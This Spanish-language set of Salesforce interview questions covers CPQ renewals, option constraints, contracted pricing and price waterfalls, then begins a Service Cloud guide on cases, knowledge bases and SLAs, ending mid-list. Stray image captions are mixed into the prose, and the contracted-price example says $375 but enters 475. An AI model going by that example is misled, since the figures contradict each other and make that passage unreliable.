Se puede generar marcando la casilla de verificación Cotización de renovación como verdadera. Esta cotización de renovación se puede enviar, actualizar y modificar según sea necesario y luego recibirla nuevamente para que posteriormente pueda crear un contrato nuevo.

1. Primero, haga clic en la pestaña Cuentas en la barra de navegación.

2. Vaya a la empresa necesaria y haga clic en la pestaña Relacionado .

3. Acceda al enlace Número de contrato en la lista relacionada Contratos y luego haga clic en Editar .

4. Marque la casilla de verificación Cotización de renovación como verdadera, lo que le indicará a CPQ que genere una cotización sobre la oportunidad de renovación.

.

Tenga en cuenta que la cotización de renovación tiene la Fecha de inicio un día después de la Fecha de cierre de la oportunidad de renovación, mientras que la Fecha de finalización se basa en el Plazo de renovación del contrato.

13. ¿Cómo modificar un contrato en Salesforce CPQ?

Veamos cómo Salesforce CPQ puede actualizar un Contrato existente para incluir mayores cantidades de productos de suscripción, prorrateados por la duración restante del Contrato y crear automáticamente una Oportunidad y Cotización de enmienda:

Cree una cotización de modificación y una oportunidad para aumentar la cantidad de un producto de suscripción de 1 a 10, a partir de los 3 meses del contrato.

Navegue hasta esa cuenta y vaya al enlace Número de contrato en la lista relacionada Contratos. Luego, haga clic en Modificar y nuevamente en Modificar .

14. ¿Cómo funciona el grupo de restricción de opciones en Salesforce CPQ?

Esta característica resulta útil cuando desea hacer que las opciones sean obligatorias o excluidas en función de combinaciones de otras opciones.

Veamos un ejemplo en el que desea evitar que los representantes de ventas vendan el Producto A a menos que el Producto B se haya incluido en la cotización:

A. Haga clic en la pestaña Productos en la barra de navegación.

C. Vaya a la pestaña Relacionados .

D. En la lista relacionada Opciones , seleccione Ver todo y anote el número del Nombre de la opción para las opciones necesarias:

  • Producto A.
  • Producto B.

E. Haga clic en Nuevo en la lista relacionada Restricciones de opciones y complete los siguientes campos:

  • Para el campo Nombre de restricción , ingrese: El producto A requiere el producto B
  • Para el campo Opción restringida , ingrese: < PO-###### del Producto A >  
  • Para el campo Opción de restricción , ingrese: < PO-###### del Producto B >
  • Para el campo Grupo de restricciones de opción , ingrese: Puede ingresar aquí cualquier cadena de texto, pero es una buena práctica hacerla descriptiva y fácil de entender y recordar.

F. Haga clic en Guardar .

16. Tiene un escenario en el que el representante de ventas debe vender un paquete en el que hay al menos tantos Productos B como Productos A. ¿Cómo configurar para este escenario?

Paso 1: Cree una variable de resumen para determinar la cantidad agregada del Producto A en la configuración.

Paso 2: Cree una variable de resumen para determinar la cantidad agregada del Producto B en una configuración.

Paso 3: Cree una regla de producto que confirme cómo funcionará la regla de validación durante la configuración del producto.

Paso 4: Cree una condición de error que controle cuándo se activa la regla, es decir, solo cuando la variable de resumen del producto B es menor que la variable de resumen del producto A.

Paso 5: Cree una regla de configuración para mostrar que la regla de validación se aplicará al paquete de productos.

Paso 6: compruebe si la regla se comporta como se esperaba.

17. ¿Cómo utilizar las restricciones de opciones?

Hay muchos escenarios en los que sus representantes de ventas deben habilitar o deshabilitar un producto en un paquete en función de otra opción de producto.

Los escenarios incluyen:

  1. A. El Producto A pasa a estar DISPONIBLE si se selecciona el Producto B.
  2. B. El Producto A NO ESTÁ DISPONIBLE si se selecciona el Producto B.

Esto se puede lograr creando restricciones de opciones a partir de la lista relacionada Restricciones de opciones en el registro de producto principal del paquete.

Cree una restricción de opción para que el Producto A pueda seleccionarse solo cuando se seleccione el Producto B:

18. ¿Explique un caso de uso de precios contratados?

Escenario: el representante de ventas ha negociado con un cliente un precio especial para ciertos productos: $375,00 por una computadora portátil en lugar de $450,00

Utilice la herramienta Precios contratados, que permite crear registros relacionados con cuentas para excepciones de precios.

Primero, creemos un precio contratado para un único producto específico para una cuenta seleccionada. Haga clic en la pestaña Cuentas , haga clic en la cuenta seleccionada , vaya a la pestaña Relacionados y en la lista relacionada Precios contratados , haga clic en Nuevo:

►Producto: Computadora portátil
►Precio: 475
►Haga clic en Guardar.

Tenga en cuenta que los Precios Contratados pueden estar limitados en el tiempo: puede establecer una Fecha de Vigencia y/o una Fecha de Vencimiento.

19. ¿Explicar el evento de evaluación en la regla del producto?

Evento de evaluación : especifica cuándo se debe evaluar la regla:

Cargar: La regla se evaluará cuando se abra el paquete de productos.

Editar: la regla se evaluará cuando se edite el paquete de productos.

Guardar: la regla se evaluará al guardar.

Siempre: La regla será evaluada durante cualquier evento.

Ahora, supongamos que tiene un campo en el Objeto de producto que también desea ver en la Línea de cotización. Cree un campo con el mismo nombre de API y del mismo tipo.

20. ¿Qué es la venta guiada de Salesforce?

La venta guiada implementada en CPQ es una herramienta que formula preguntas sobre las necesidades del cliente en función de la selección de productos disponibles. Se hace creando un mensaje que pregunta a los representantes de ventas sobre los tipos de productos que desean agregar a la cotización y sus especificaciones.

21. ¿Qué es el precio por bloque de Salesforce?

Los precios en bloque le permiten fijar el precio de un producto en función de diferentes rangos de cantidades que se denominan precios en bloque.

  • El precio en bloque es un precio basado en niveles. El precio basado en niveles significa que el precio del producto depende de la cantidad que compra el cliente.
  • El precio también se basa en el rango de cantidad y no en el producto individual.

22. ¿Cuáles son los pasos para implementar un paquete dinámico?

Los paquetes dinámicos permiten a los representantes de ventas elegir sus propias opciones en un paquete. Puede utilizar reglas de filtrado para filtrar las opciones entre las que pueden elegir.

Para implementar un paquete dinámico, estos son los pasos de implementación que debe seguir:

►Crear una característica
►Crear una regla de producto
►Crear una acción
►Crear una regla de configuración

23. ¿Cuándo utilizar reglas de producto frente a restricciones de opciones?

Cuándo utilizar restricciones de opciones

Si tiene menos opciones y puede ajustar todas las opciones de producto en la categoría/pestaña sin tener que desplazarse mucho, entonces puede ser mejor optar por restricciones de opciones. Estos no pueden ocultar las Opciones del producto por completo, pero pueden habilitar/deshabilitar las Opciones del producto mediante otras selecciones.

24. ¿Cuándo utilizar las reglas del producto?

Este enfoque es especialmente útil en configuraciones más grandes que se muestran en categorías (pestañas), donde cada categoría puede requerir un desplazamiento extenso para mostrar todas las opciones.

Diferencias Restricciones de opciones Reglas de selección de productos
Acciones admitidas Habilitar deshabilitar Agregar, habilitar, deshabilitar, eliminar, habilitar y agregar, deshabilitar y eliminar, ocultar, mostrar, ocultar y eliminar, mostrar y agregar
Condiciones La restricción de opción tiene una condición simple: si se selecciona la opción X Las reglas de producto pueden tener múltiples condiciones que evalúan información fuera del contexto del paquete, es decir, campos de nivel de cotización/oportunidad/cuenta.
Alcance La restricción de opciones se limita a una sola opción. Las reglas del producto pueden actuar sobre múltiples opciones
Contexto Se utiliza sólo en el contexto de paquetes. Funciona en las opciones dentro del mismo paquete. Es específico de un solo paquete. Se utiliza en el contexto de paquetes y productos independientes. Se puede aplicar una regla de producto único a paquetes ilimitados.
Resultado No se puede seleccionar/deseleccionar automáticamente un producto Puede seleccionar/deseleccionar automáticamente un producto

25. ¿Cuándo se ejecutan las Reglas de Producto durante el proceso de cotización?

Las reglas del producto se ejecutan en la página de configuración del producto o en el editor de líneas de cotización. Esto se decide en función de los siguientes campos de reglas de producto:

a. ALCANCE – (Valores: Producto/Cotización ): el campo Alcance en el registro de regla del producto le indica a CPQ DÓNDE debe ejecutarse la regla. Un alcance de "Producto" significa que la regla se ejecutará durante la configuración del producto, y un alcance de "Cotización" hará que se ejecute en el Editor de líneas de cotización.

b. EVENTO DE EVALUACIÓN – (Valores: Cargar/Editar/Guardar/Siempre ): el campo Evento de evaluación en el registro de regla del producto le indica a CPQ CUÁNDO debe ejecutarse la regla.

26. Explique la descripción general del ciclo de vida de Salesforce CPQ.

Generación de leads: el ciclo de vida de CPQ comienza con la generación de leads, donde los clientes potenciales muestran interés en tus productos o servicios.

Creación de oportunidades: una vez que se identifica un cliente potencial, se convierte en una oportunidad en Salesforce. Esta etapa implica recopilar información del cliente y evaluar sus necesidades.

Configuración del producto: en esta etapa, el equipo de ventas utiliza Salesforce CPQ para configurar productos o servicios de acuerdo con los requisitos del cliente. CPQ permite configuraciones complejas de productos, opciones de agrupación y personalización.

Precios y descuentos: Salesforce CPQ permite al equipo de ventas aplicar precios y descuentos adecuados según los requisitos específicos del cliente, precios basados en el volumen o acuerdos contractuales. Esta etapa garantiza precios precisos y maximiza el potencial de ingresos.

Generación de cotizaciones: una vez determinados la configuración del producto y el precio, Salesforce CPQ genera una cotización profesional adaptada a las necesidades del cliente. La cotización incluye información detallada sobre los productos o servicios, precios y términos.

Aprobación y negociación de la cotización: la cotización generada pasa por un proceso de aprobación, donde las partes interesadas correspondientes la revisan y brindan su consentimiento. Esta etapa puede implicar negociación con el cliente para finalizar los detalles de la cotización.

Aceptación de cotización: una vez que el cliente acepta la cotización, avanza a la siguiente etapa del ciclo de vida de CPQ.

Creación de pedidos: la cotización aceptada se convierte en un pedido, lo que desencadena el proceso de cumplimiento, incluida la gestión de inventario, el procesamiento de pedidos y el envío.

Gestión de contratos: Salesforce CPQ proporciona capacidades de gestión de contratos, lo que permite al equipo de ventas generar y gestionar contratos basados en la cotización aceptada. Esta etapa garantiza el cumplimiento legal y agiliza la gestión del ciclo de vida del contrato.

Reconocimiento de ingresos: Salesforce CPQ se integra con sistemas de facturación y procesos financieros para facilitar el reconocimiento preciso de ingresos. Esto implica rastrear e informar los ingresos en función de los productos o servicios entregados.

Renovación y ventas adicionales: a medida que los contratos se acercan a su vencimiento, Salesforce CPQ ayuda a gestionar las oportunidades de renovación. El sistema puede identificar oportunidades de ventas adicionales o cruzadas y guiar al equipo de ventas para maximizar el valor para el cliente.

Informes y análisis: a lo largo del ciclo de vida de CPQ, Salesforce CPQ proporciona capacidades de informes y análisis para monitorear métricas clave, rastrear el desempeño de ventas, identificar tendencias y tomar decisiones basadas en datos.

27. ¿Explicar los atributos de configuración?

En Salesforce CPQ, esta funcionalidad se puede lograr principalmente creando un registro del objeto de atributo de configuración .

Atributo de configuración

Hay 2 tipos de Atributos de Configuración que podemos crear en Salesforce CPQ.

  1. Atributo de configuración
  2. Atributo global
  • Cuando queramos crear y asignar cualquier atributo al producto del paquete , crearemos un registro de Atributo de configuración que tenga el tipo de registro "Atributo de configuración" .
  • Cuando queramos crear y asignar cualquier atributo a un producto de opción , crearemos un atributo de configuración de registro que tenga el tipo de registro "Atributo global" .

28. ¿Qué es el precio excedente en Salesforce CPQ?

Imagina que tienes un plan de telefonía móvil que incluye hasta 10 GB de datos por 30 dólares al mes. Esto es mucho, pero ¿qué pasa si usas más de 10 GB en un mes? Ahí es donde entran en juego las tasas excedentes.

La compañía telefónica ofrece una tarifa excedente de $2 por GB adicional de datos utilizados más allá de los 10 GB iniciales. Esto significa que si usas 11 GB en un mes, pagarás la tarifa base de $30 por los primeros 10 GB, más una tarifa excedente de $2 por los GB adicionales, por un total de $32.

Así es como se descompone:

– Si usas 10 GB o menos, solo pagas tus $30 habituales, sin cargos adicionales.

– Si usas 11 GB, pagas $30 por los primeros 10 GB, luego $2 adicionales por el 11.° GB, para un total de $32.

– Si usas 12 GB, pagas $30 por los primeros 10 GB, luego $4 adicionales por los GB 11 y 12, por un total de $34.

…y así sucesivamente, sumando $2 por cada GB que uses por encima de los 10GB.

Este sistema hace que la facturación sea más clara y sencilla. Usted sabe exactamente cuánto se le cobrará si excede su límite de datos y la compañía telefónica puede calcular fácilmente los cargos según el uso real.

Para utilizar tarifas excedentes, debemos crear un campo personalizado especial en el objeto Precio de bloque. Este es un paso único para cualquier organización que utilice Salesforce CPQ.

29. ¿Explique la caída de precios en CPQ con la ayuda de un ejemplo?

Imagina que estás en "Sundae Funday", una heladería conocida por sus aderezos y sabores especiales. Decides comprar un cono de triple bola con tus sabores favoritos y así es como cambia el precio:

1. Precio original: Este es el costo básico en el que incurre “Sundae Funday” para hacer un cono de helado, incluyendo el helado, el cono, los aderezos y los costos operativos. Digamos que son $3.00. Esto no incluye ganancias ni costos adicionales; es simplemente cuánto le cuesta a la tienda hacer ese delicioso cono.

2. Precio de lista: ahora, el taller agrega su margen de beneficio, considerando factores como los gastos generales, los salarios del personal y el margen de beneficio. Este es el precio que ves en el menú cuando entras. Entonces, tu cono de triple cucharada aparece en $5.00. Ese es el precio estándar para cualquier cliente en un día normal.

3. Precio especial: ¿Adivina qué? Visitas la tienda un “martes tropical” y todos los conos con sabor tropical tienen un 20% de descuento. Como elegiste mango como una de tus bolas, tu cono ahora tiene un “precio especial” de $4.00. Este precio es específico para esta promoción o segmento de clientes.

4. **Precio Regular**: ¡Aquí vienen los beneficios del programa de fidelización! Como titular de una tarjeta de fidelidad “Sundae Funday”, tienes derecho a un descuento adicional del 10 % en cualquier compra. Ese beneficio reduce su precio a $3.60. Este es el “precio regular” que se ofrece a los clientes que cumplen ciertos criterios, como los miembros leales.

5. **Precio para el cliente**: Tienes un cupón por completar una encuesta en tu última visita, lo que te otorga un descuento adicional de $0,50 en tu próxima compra. Después de aplicar esto, su “precio al cliente” ahora es de $3,10. Este precio es el resultado de interacciones o negociaciones directas y únicas.

6. **Precio de socio**: La heladería tiene una asociación con un cine cercano. Dado que tiene una entrada de cine para el mismo día, obtiene un descuento adicional del 5%, lo que reduce su cono a un “precio de socio” de $2,95.

7. **Precio neto**: Finalmente, hay una promoción para toda la tienda en la que cada compra superior a $2,50 obtiene un descuento adicional de $0,10. Esto último te lleva a tu “precio neto” final de $2,85. Este es el monto final que paga y refleja todos los descuentos, promociones y circunstancias especiales que ha acumulado.

En este viaje, cada reducción de precio refleja una etapa en la cascada de precios CPQ, desde el costo básico de los bienes hasta el precio final pagado por un cliente en una posición única.

Memorizar las etapas de tarificación junto con sus funciones utilizando el

Con el mnemotécnico “Los viejos leones duermen, rara vez atrapan presas, nunca ronronean” , puede crear una historia que vincule cada término no solo con el orden de los precios sino también con sus roles específicos en el proceso de fijación de precios.

30. ¿Explique el método de fijación de precios de 'porcentaje del total'?

Imagina que estás en un parque de helados, famoso por su variedad de deliciosos helados y divertidas atracciones secundarias. Uno de los servicios únicos que ofrece este parque es el "Bono Sorpresa de Sundae", un regalo especial que se calcula en función del monto total que gasta en otras delicias. Así es como funciona:

1. Método de fijación de precios: “Porcentaje del total”:

– Piense en esto como la “Regla de la sorpresa del helado”. Cada vez que compras helados, batidos o aderezos, eres elegible para recibir un regalo adicional. El parque ha establecido esta regla especial según la cual su bonificación es un porcentaje del monto total que ha gastado, como su “propina” en el restaurante. Esta regla es conocida por todos y es como la forma especial que tiene el parque de dar las gracias.

2. Porcentaje del total (%) – El número mágico:

– El parque tiene carteles por todas partes que dicen: “¡Gasta en golosinas y recibe un 10% de bonificación!” Este 10% es el número mágico. Es como la receta especial para la felicidad del parque. Entonces, si gastas $30 en varios helados y batidos, recibirás un “Bono Sorpresa de Sundae” por valor de $3.

3. Porcentaje de la base total: recuento de helados:

– Ahora, aquí es donde se pone aún más genial. El parque te permite elegir qué cuenta para este cálculo mágico del helado. Suponga que decide que solo cuentan las bolas de helado, no los batidos ni los waffles. Eso significa que si gastaste $20 en bolas y $10 en batidos, solo los $20 cuentan para tu “Bono Sorpresa de Sundae”, lo que lo convierte en un valor de $2 (10% de $20).

Por lo tanto, cada vez que disfruta de las delicias cremosas en este parque de helados, Salesforce CPQ es como el servidor invisible que trabaja en segundo plano. Se trata de asegurarse de que se sigan las reglas, calcular su gasto total, aplicar el porcentaje mágico y calcular su bonificación en función exactamente de lo que desea contar para la sorpresa.

Esto hace que recordar el concepto de “porcentaje del total” sea tan fácil como disfrutar de un helado en un día soleado.

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🚀 Guía definitiva de 150 preguntas sobre Salesforce Service Cloud: ¡domine cada detalle! 🌟

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Temas cubiertos en la entrevista de Salesforce Service Cloud:

  • Conocimientos generales y características
  • Gestión de casos
  • Soluciones y base de conocimientos
  • Consola de servicio
  • Portales/comunidades de clientes y agentes
  • Flujo de trabajo y automatización:
  • Informes y paneles en Service Cloud
  • Integración de CTI y telefonía
  • Servicio al cliente en redes sociales
  • Chat y mensajería
  • Integración de correo electrónico
  • Métricas y análisis de rendimiento
  • Inteligencia artificial (IA) en la nube de servicios
  • Servicio de campo
  • Macros
  • Preguntas basadas en escenarios

Conocimientos generales y características

1. ¿Qué es Salesforce Service Cloud?

– Imagine que dirige una empresa y tiene toneladas de clientes que hacen preguntas o tal vez tienen problemas con su producto. Ahora, desea ayudarlos de manera rápida y eficiente. ¡Ahí es donde entra Salesforce Service Cloud!

2. ¿Cómo beneficia Service Cloud a un departamento de atención al cliente?

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Como empresa, usted maneja cosas agitadas que pueden ponerse cuando los clientes lo llaman, le envían correos electrónicos o le hacen ping en las redes sociales. ¡Es como hacer malabares! Service Cloud es como un asistente súper inteligente que ayuda a atrapar esas pelotas. Realiza un seguimiento de todos los problemas de los clientes (llamados "casos" en Salesforce), se asegura de que los vea la persona adecuada y proporciona respuestas que su equipo puede utilizar para responder más rápido.

¿La mejor parte? Puede conectarse con sus clientes dondequiera que estén: por teléfono, en las redes sociales, lo que sea. ¡Menos caos, más choca esos cinco en la oficina!

3. ¿Cuál es la diferencia entre Salesforce Sales Cloud y Service Cloud?

Paseo en coche (#1) - Openclipart

Piense en su negocio como en un automóvil. Sales Cloud es como el motor que lo impulsa hacia adelante: lo ayuda a encontrar nuevos clientes y los convence para que se sumen. Estamos hablando de gestionar contratos, realizar un seguimiento de las ventas y realizar previsiones. Ahora bien, ¿la nube de servicios? Ese es su sistema de dirección y comodidad. Una vez que los clientes están a bordo, se garantiza que estén contentos durante el viaje. Atiende sus preguntas, resuelve cualquier problema y se asegura de que disfruten tanto del viaje que querrán viajar contigo nuevamente.

4. ¿Qué es OmniCanal en el contexto de Service Cloud y cómo beneficia a una empresa?

OmniCanal es una forma para que su empresa hable con los clientes dondequiera que prefieran: redes sociales, correo electrónico, teléfono o incluso chat en vivo. Pero es inteligente; garantiza que su equipo no se sienta abrumado y que las preguntas de sus clientes lleguen a la persona adecuada que pueda responderlas mejor.

5. ¿Cómo mejora Service Cloud la satisfacción del cliente?

Conocer bien a sus clientes y satisfacer sus necesidades rápidamente no sólo los deja satisfechos; ¡Puede convertirlos en fanáticos de tu marca! Además, los clientes satisfechos a menudo significan que volverán y les dirán a sus amigos lo fantástico que eres: ¡todos ganan!

Gestión de casos

1.¿Qué es un caso en Salesforce?

– Imagínese esto: un cliente tiene una pregunta o tiene problemas con su producto. Piden ayuda. ¿Ese mensaje de ayuda? En Salesforce, a eso lo llamamos "caso".

2.¿Cómo se pueden crear casos en Salesforce?

Los casos son como boletos. En Salesforce, los casos pueden surgir de todas partes: un cliente envía un correo electrónico, completa un formulario en su sitio web, le envía un mensaje en las redes sociales o incluso llama. Cada una de estas acciones puede iniciar un caso para que su El equipo sabe que alguien necesita una mano.

3. ¿Qué es Web-to-Case y cómo se utiliza?

¿Sabes cómo puedes pedir tu café con anticipación en una aplicación y te estará esperando cuando llegues? Web-to-Case es algo así, pero para servicio al cliente. Permite a sus clientes completar un formulario en su sitio web cada vez que necesitan ayuda, y esa información se envía directamente a Salesforce como un caso. De esta manera, su equipo de servicio al cliente puede comenzar a desarrollar soluciones de inmediato.

4. ¿Explicar el correo electrónico para enviar casos?

Piense en Email-to-Case como un puente entre su bandeja de entrada de correo electrónico de servicio al cliente y Salesforce . Cuando sus clientes le envían un correo electrónico pidiéndole ayuda, Email-to-Case lo detecta y lo convierte en un caso en Salesforce.

5. ¿Qué es la escalada de casos y cómo se configura?

Una captura de pantalla de una computadora Descripción generada automáticamente

A veces, las cosas necesitan un poco más de urgencia, como una entrega de pizza en 30 minutos o menos. La escalada de casos ocurre cuando un caso no se ha resuelto en un cierto período de tiempo y sube en la lista de prioridades o incluso se entrega a un gerente. En Salesforce, esto se configura creando reglas de escalamiento que controlan el tiempo de los casos y activan una señal de alerta cuando uno está tardando demasiado.

6. ¿Cómo funcionan las reglas de asignación de casos?

Señales manuales de emergencia de la policía de tránsito para conductores: conduzca en Malasia

Las reglas de asignación son como los policías de tránsito de Salesforce. Observan los nuevos casos que llegan y les indican la dirección correcta. Según los detalles del caso, como de qué se trata o de quién proviene, estas reglas los envían al departamento correcto o a la persona más adecuada para ayudar. Mantiene las cosas en movimiento sin problemas.

7. ¿Qué son las colas de casos y en qué se diferencian de las reglas de asignación?

Las reglas de asignación dirigen los casos a personas específicas de inmediato, mientras que las colas les permiten esperar en un lugar relevante para que los tome cualquier miembro disponible del equipo.

8. ¿Cómo se realiza un seguimiento del historial del caso?

Realizar un seguimiento del historial de un caso en Salesforce es como tener un mapa de dónde ha estado, a quién ha visitado y qué se ha hecho hasta el momento. Cada vez que alguien ve el caso, realiza un cambio o agrega algo, Salesforce toma nota de ello. Así, cualquiera que observe el caso podrá ponerse al día con su recorrido.

9. ¿Qué son los equipos de casos?

Los equipos de casos en Salesforce son como grupos de proyectos en la escuela. Puede formar un equipo de varios usuarios con diferentes roles para colaborar y resolver un caso de manera eficiente.

10. ¿Cómo se utilizan los feeds de casos?

Los feeds de casos son como líneas de tiempo de las redes sociales para cada caso. Muestran una vista cronológica de todas las actividades, como mensajes, cambios de estado o acciones del usuario, relacionadas con un caso.

11. ¿Puedes realizar un seguimiento del tiempo dedicado a cada caso?

Sí, con funciones de seguimiento del tiempo. Es como un cronómetro del trabajo: puede medir cuánto tiempo dedican los agentes a cada caso.

12. ¿Cómo maneja Salesforce los correos electrónicos masivos en la gestión de casos?

Salesforce le permite enviar correos electrónicos masivos para mantener actualizados a muchos clientes a la vez.

13. ¿Qué son los hitos del caso?

Los hitos son como puntos de control en una carrera. Son objetivos específicos que los agentes deben alcanzar dentro de un plazo determinado mientras resuelven un caso.

14. ¿Cuál es la diferencia entre un caso y una orden de trabajo?

Un caso es un registro de un problema de un cliente, mientras que una orden de trabajo es una solicitud de trabajo, a menudo utilizada para servicios de campo o tareas físicas.

15. ¿Cuáles son los beneficios de utilizar Chatter para los casos?

Chatter es como una sala de chat para el trabajo. Los agentes pueden discutir casos, compartir archivos y obtener comentarios de los miembros del equipo directamente en el registro del caso.

16. ¿Cuáles son los componentes de la regla de asignación de casos en Salesforce?

En Salesforce, la regla de asignación de casos giraba en torno a dos componentes principales, como la regla de caso y los criterios de caso.

Regla de caso: una regla de caso define una o más de una condición que debe cumplirse para ser asignada a un usuario específico. Podemos agregar tantas entradas de reglas como queramos a una sola regla de asignación.

Criterios de caso: Los criterios de caso son las condiciones que se basan en diferentes factores como el origen del caso, el estado, el tipo, etc.

Soluciones y base de conocimientos

1. ¿Qué es el conocimiento de Salesforce?

Salesforce Knowledge es como una carpeta para toda la información que su equipo necesita para ayudar a los clientes. Es un lugar donde puedes almacenar artículos, preguntas frecuentes, guías de solución de problemas y más, todo organizado y fácil de encontrar.

2. Explicar el proceso de creación y mantenimiento de una Base de Conocimiento en Salesforce.

Crear una base de conocimientos es como abastecer una biblioteca. Empiece por escribir artículos; pueden ser preguntas frecuentes, guías prácticas o pasos para la solución de problemas. Una vez que haya terminado, los colocará en los estantes (es decir, los publicará en Salesforce Knowledge) y así, estarán disponibles para que los lea su equipo o incluso sus clientes. Deberá revisar sus artículos con regularidad, actualizar la información anterior y seguir agregando material nuevo para mantener todo actualizado.

3. ¿Cuál es la diferencia entre Soluciones y Artículos de Conocimiento?

Libro. Antiguo libro de texto, enciclopedia, diccionario o libro de cuentos de hadas. Diseño de dibujos animados felices para niños, página para colorear, estampado de camisetas, icono, logotipo, etiqueta, parche, pegatina. SVG, cliparts, vectores y ilustraciones libres de derechos.

Las soluciones son como esas viejas enciclopedias : tienen información útil, pero son un poco básicas y solo su equipo puede leerlas. Por otro lado, los artículos de conocimiento son como tener una base de datos completa en línea. Son más dinámicos, pueden incluir videos e imágenes y puedes compartirlos no solo con tu equipo sino también con tus clientes.

4. ¿Cómo pueden los usuarios de Service Cloud aprovechar los artículos de conocimiento?

Piense en los usuarios de Service Cloud como bibliotecarios. Cuando un cliente tiene una pregunta, en lugar de hojear montones de libros o luchar para encontrar un experto, puede buscar el artículo de conocimiento correcto y tener las respuestas al alcance de su mano. Esto hace que ayudar a los clientes sea más rápido, más preciso y, sinceramente, mucho menos estresante.

5. ¿Pueden los clientes acceder a los artículos de conocimiento? ¿Si es así, cómo?

¡Por supuesto que pueden! Puede configurar una comunidad de clientes o un sitio web público donde estos artículos estén disponibles. Los clientes pueden ingresar, buscar lo que necesitan y, a menudo, resolver sus propios problemas sin tener que levantar el teléfono o enviar un correo electrónico.

Consola de servicio

1.¿Qué es la Consola de Servicio en Salesforce?

Ilustración de Chef y más Vectores Libres de Derechos de Adulto - Chef, Dibujos Animados, Gorro De Chef - iStock

Imagínese ser chef en una cocina ocupada y bien equipada. La Consola de servicio es como su estación de cocina, donde tiene sus ingredientes (datos del cliente), utensilios (herramientas y aplicaciones) y recetas (artículos de conocimiento), todo en un solo lugar. Estás allí, cocinando varios platos (manejando varios casos de clientes) a la vez. 🍳👩‍🍳🔥

2. ¿Cómo mejora la Consola de servicio la productividad de los agentes?

Si eres chef en una cocina, ¿no sería más fácil cocinar si todos tus ingredientes, utensilios y recetas estuvieran en un solo lugar? Eso es lo que hace la Consola de servicio por los agentes. Pone todo lo que necesitan en un solo lugar. Pueden chatear con los clientes, echar un vistazo al historial de su cuenta y comprobar sus pedidos, todo al mismo tiempo. ¡Es como tener superpoderes, para que puedan ayudar a los clientes más rápido y mejor!

3. ¿Se puede personalizar la Consola de servicio? Si es así, ¿cómo?

¡Por supuesto! Al igual que puedes reorganizar las aplicaciones en tu teléfono, puedes modificar la Consola de servicio para adaptarla a tus necesidades. Todo esto se hace a través de algo llamado "Creador de aplicaciones", donde arrastra y suelta los componentes que desea. Es como jugar un juego en el que diseñas tu centro de mando.

Portales/comunidades de clientes y agentes:

1. ¿Qué es una comunidad de clientes en el contexto de Service Cloud?

Dibujo infantil de CCC, bloques de colores – Catskill Community Center

Imagínese un centro comunitario en un vecindario. Es un lugar donde los residentes se reúnen para discutir temas, compartir noticias, pedir prestado herramientas o incluso organizar eventos. Ahora, imagine si su empresa tuviera un “centro comunitario” virtual para sus clientes. Esa es una comunidad de clientes en Salesforce. Es un espacio en línea donde sus clientes pueden reunirse para hacer preguntas, compartir ideas e incluso resolver problemas juntos. También pueden encontrar artículos o anuncios útiles que haya publicado, ¡muy parecido a un tablero de anuncios comunitario!

2. ¿En qué se diferencian los portales de agentes de los portales/comunidades de clientes?

Cree un portal de socios, habilite la cuenta de socio y los usuarios y agregue

En el centro comunitario, piense en el Portal del Cliente/Comunidad como el salón principal donde todos se reúnen, conversan y comparten. El Portal del Agente, sin embargo, es como la oficina administrativa que da al salón principal. Desde esta oficina, sus agentes de servicio al cliente pueden observar lo que sucede en la comunidad, intervenir para ayudar cuando sea necesario o proporcionar recursos.

3. ¿Cómo pueden los clientes utilizar las comunidades para autoservicio?

En una comunidad de clientes, los clientes pueden explorar los artículos que usted ha proporcionado, encontrar respuestas a preguntas comunes o hacer una nueva pregunta que cualquier miembro de la comunidad puede responder. Esto les permite encontrar soluciones en su propio tiempo y términos, sin necesidad de llamar directamente a la “oficina del administrador” (contactar con soporte).

4. ¿Cuáles son las mejores prácticas para crear una comunidad de clientes?

La comunidad de clientes de Salesforce debe ser fácil de usar y proporcionar valor real. Asegúrese de que sea de fácil acceso, con categorías claras para la discusión y una amplia base de conocimientos. Actualice y modere periódicamente el contenido para garantizar que sea relevante y apropiado. Fomente la participación reconociendo a los miembros activos u organizando eventos o desafíos comunitarios.

Flujo de trabajo y automatización

1. ¿Se puede automatizar el enrutamiento de casos? ¿Si es así, cómo?

En Service Cloud, los casos se pueden enrutar automáticamente. Puede establecer criterios, como si un caso proviene de un cliente VIP, va directamente a su mejor agente, o si es un problema común, va a cualquier agente disponible. De esta manera, todos reciben un servicio eficiente y eficaz.

2. ¿Cómo se automatiza el seguimiento del acuerdo de nivel de servicio (SLA) en Service Cloud?

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Imagínese el restaurante prometiendo que cada pedido se servirá en 30 minutos o, de lo contrario, será gratis. Para cumplir esta promesa, tienen un sistema que inicia una cuenta regresiva en el momento en que se realiza un pedido y alerta al gerente si llega a los 25 minutos. Service Cloud puede realizar un seguimiento de los SLA de forma similar. Puede establecer los plazos en los que los casos deben resolverse según su nivel de prioridad y automatizar recordatorios, escalamientos u otras acciones si esos plazos se acercan o no se cumplen. ¡Mantiene al equipo responsable y a los clientes contentos!

3. ¿Podría definir la Gestión de derechos en el contexto de Salesforce Service Cloud?

La gestión de derechos en Salesforce Service Cloud es una función que ayuda a las empresas a definir, hacer cumplir y realizar un seguimiento de los acuerdos de nivel de servicio (SLA) con sus clientes. Permite a las empresas establecer el nivel de soporte al que tiene derecho un cliente, en función de factores como garantías de productos, contratos de servicio o planes de soporte. Esta característica garantiza que los clientes reciban el soporte al que tienen derecho dentro del plazo acordado.

4. ¿Puedes explicar la funcionalidad de Visual SLA Timelines?

Los cronogramas visuales de SLA en Salesforce Service Cloud ofrecen una representación gráfica de los cronogramas asociados con cada SLA. Ayudan a los agentes de servicio a visualizar el tiempo restante necesario para resolver un caso según el SLA asociado. Esto permite a los agentes priorizar su trabajo de manera efectiva y garantizar el cumplimiento de los términos del SLA.

Informes y paneles

1. ¿Cómo mejoran los informes y paneles las operaciones de servicio?

Imagínese que al final de cada día, el gerente recibe un resumen de todo lo sucedido: cuántos clientes llegaron, cuál fue el plato más popular, cuántos elogios o quejas se recibieron, etc. En Service Cloud, los informes y paneles son como este resumen diario. Ofrecen a los directivos una visión rápida pero completa de cómo van las cosas. ¿Los clientes esperan demasiado? ¿Algunos problemas se resuelven más rápido que otros? Esta información ayuda al equipo a saber qué funciona y qué no, para que puedan mejorar su "servicio".

2. ¿Se puede realizar un seguimiento del rendimiento de los agentes con Service Cloud? Si es así, ¿cómo?

Service Cloud le permite realizar un seguimiento del desempeño de sus agentes. Puede ver cuántos casos han resuelto, qué tan rápido están trabajando e incluso cómo los clientes califican su servicio. Es como un gráfico de desempeño para los camareros, pero para sus agentes de servicio.

3. ¿Cuáles son algunas métricas de servicio comunes que puede rastrear en Service Cloud?

En el mundo de Service Cloud, las métricas comunes incluyen cosas como
